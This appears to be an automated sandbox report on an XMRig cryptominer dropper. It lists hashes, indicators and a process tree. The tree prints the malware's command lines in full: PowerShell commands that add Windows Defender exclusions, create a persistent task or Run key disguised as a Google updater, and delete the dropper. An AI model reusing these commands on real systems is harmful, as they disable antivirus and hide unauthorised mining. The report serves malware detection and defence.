xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1806s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1960 created 3436	1960	Yvdp8t5knpQz7sFB.exe	49
PID 1960 created 3436	1960	Yvdp8t5knpQz7sFB.exe	49
PID 1960 created 3436	1960	Yvdp8t5knpQz7sFB.exe	49
PID 1960 created 3436	1960	Yvdp8t5knpQz7sFB.exe	49
PID 4896 created 3436	4896	updater.exe	49
PID 4896 created 3436	4896	updater.exe	49
PID 4896 created 3436	4896	updater.exe	49
PID 4896 created 3436	4896	updater.exe	49
PID 4496 created 3436	4496	conhost.exe	49
PID 4896 created 3436	4896	updater.exe	49

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral32/memory/536-126-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-130-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-131-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-133-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-137-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-139-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-141-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-143-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-145-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-147-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-149-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-151-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-153-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-155-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-157-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-159-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-161-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-163-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-165-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-167-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-169-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-171-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-173-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-175-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-177-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-179-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-181-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-183-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-185-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig
behavioral32/memory/536-187-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4896	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral32/memory/536-119-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-126-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-130-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-131-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-133-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-137-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-139-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-141-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-143-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-145-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-147-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-149-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-151-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-153-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-155-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-157-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-159-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-161-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-163-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-165-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-167-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-169-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-171-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-173-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-175-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-177-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-179-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-181-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-183-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-185-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx
behavioral32/memory/536-187-0x00007FF753600000-0x00007FF753DF4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4896 set thread context of 4496	4896	updater.exe	113
PID 4896 set thread context of 536	4896	updater.exe	118

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2800	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1960	Yvdp8t5knpQz7sFB.exe
1960	Yvdp8t5knpQz7sFB.exe
1944	powershell.exe
1944	powershell.exe
1960	Yvdp8t5knpQz7sFB.exe
1960	Yvdp8t5knpQz7sFB.exe
5052	powershell.exe
5052	powershell.exe
1960	Yvdp8t5knpQz7sFB.exe
1960	Yvdp8t5knpQz7sFB.exe
1960	Yvdp8t5knpQz7sFB.exe
1960	Yvdp8t5knpQz7sFB.exe
3836	powershell.exe
3836	powershell.exe
4896	updater.exe
4896	updater.exe
5088	powershell.exe
5088	powershell.exe
4896	updater.exe
4896	updater.exe
1624	powershell.exe
1624	powershell.exe
4896	updater.exe
4896	updater.exe
4896	updater.exe
4896	updater.exe
4496	conhost.exe
4496	conhost.exe
4896	updater.exe
4896	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeIncreaseQuotaPrivilege	5052	powershell.exe
Token: SeSecurityPrivilege	5052	powershell.exe
Token: SeTakeOwnershipPrivilege	5052	powershell.exe
Token: SeLoadDriverPrivilege	5052	powershell.exe
Token: SeSystemProfilePrivilege	5052	powershell.exe
Token: SeSystemtimePrivilege	5052	powershell.exe
Token: SeProfSingleProcessPrivilege	5052	powershell.exe
Token: SeIncBasePriorityPrivilege	5052	powershell.exe
Token: SeCreatePagefilePrivilege	5052	powershell.exe
Token: SeBackupPrivilege	5052	powershell.exe
Token: SeRestorePrivilege	5052	powershell.exe
Token: SeShutdownPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeSystemEnvironmentPrivilege	5052	powershell.exe
Token: SeRemoteShutdownPrivilege	5052	powershell.exe
Token: SeUndockPrivilege	5052	powershell.exe
Token: SeManageVolumePrivilege	5052	powershell.exe
Token: 33	5052	powershell.exe
Token: 34	5052	powershell.exe
Token: 35	5052	powershell.exe
Token: 36	5052	powershell.exe
Token: SeIncreaseQuotaPrivilege	5052	powershell.exe
Token: SeSecurityPrivilege	5052	powershell.exe
Token: SeTakeOwnershipPrivilege	5052	powershell.exe
Token: SeLoadDriverPrivilege	5052	powershell.exe
Token: SeSystemProfilePrivilege	5052	powershell.exe
Token: SeSystemtimePrivilege	5052	powershell.exe
Token: SeProfSingleProcessPrivilege	5052	powershell.exe
Token: SeIncBasePriorityPrivilege	5052	powershell.exe
Token: SeCreatePagefilePrivilege	5052	powershell.exe
Token: SeBackupPrivilege	5052	powershell.exe
Token: SeRestorePrivilege	5052	powershell.exe
Token: SeShutdownPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeSystemEnvironmentPrivilege	5052	powershell.exe
Token: SeRemoteShutdownPrivilege	5052	powershell.exe
Token: SeUndockPrivilege	5052	powershell.exe
Token: SeManageVolumePrivilege	5052	powershell.exe
Token: 33	5052	powershell.exe
Token: 34	5052	powershell.exe
Token: 35	5052	powershell.exe
Token: 36	5052	powershell.exe
Token: SeIncreaseQuotaPrivilege	5052	powershell.exe
Token: SeSecurityPrivilege	5052	powershell.exe
Token: SeTakeOwnershipPrivilege	5052	powershell.exe
Token: SeLoadDriverPrivilege	5052	powershell.exe
Token: SeSystemProfilePrivilege	5052	powershell.exe
Token: SeSystemtimePrivilege	5052	powershell.exe
Token: SeProfSingleProcessPrivilege	5052	powershell.exe
Token: SeIncBasePriorityPrivilege	5052	powershell.exe
Token: SeCreatePagefilePrivilege	5052	powershell.exe
Token: SeBackupPrivilege	5052	powershell.exe
Token: SeRestorePrivilege	5052	powershell.exe
Token: SeShutdownPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeSystemEnvironmentPrivilege	5052	powershell.exe
Token: SeRemoteShutdownPrivilege	5052	powershell.exe
Token: SeUndockPrivilege	5052	powershell.exe
Token: SeManageVolumePrivilege	5052	powershell.exe
Token: 33	5052	powershell.exe
Token: 34	5052	powershell.exe
Token: 35	5052	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 3204	4904	cmd.exe	104
PID 4904 wrote to memory of 3204	4904	cmd.exe	104
PID 3836 wrote to memory of 5104	3836	powershell.exe	105
PID 3836 wrote to memory of 5104	3836	powershell.exe	105
PID 4896 wrote to memory of 4496	4896	updater.exe	113
PID 4512 wrote to memory of 2800	4512	cmd.exe	116
PID 4512 wrote to memory of 2800	4512	cmd.exe	116
PID 4896 wrote to memory of 536	4896	updater.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3436
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1624
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4540
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4496
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4512
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:536

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4896

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 672KB
SHA256 68bce1fe404e4caaae633c4e024e70c3908af45ae3ad7e76cf58f034d250083c
MD5 10e580bc1ded939d6b5e08d9702ba2b1
SHA1 41686830d320d0860634cefcdd702f46f7c23d8d
SHA512 bbd3ca04dfd53f7f135016cbcd6ece15ee008c10590ab324ffd496c193ae266fc97395c2129655ae8fba2401d4fee25a7a5c2b6189b6bc2c62e44ab1fc035a6e
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGU:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iX
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 830KB
SHA256 17d4e1192589eb2e876f43c5aa44c87f334867ee9e2986ab33f4528144e7f9f4
MD5 6c28026026e98535717e3bf4ad673848
SHA1 51d322ac645833627e8f242824fcaee99a91677c
SHA512 136b4dc24a42148d4ff31028a84a05f7e59279f3778422c3847e3e1180420969894e6b1c4084a91aaf08e542fd15246dd23f55c668c2707380959d5a3fbe3dd4
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhW:rWVipAxqo5p88CbXuxWQiSJU32r
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
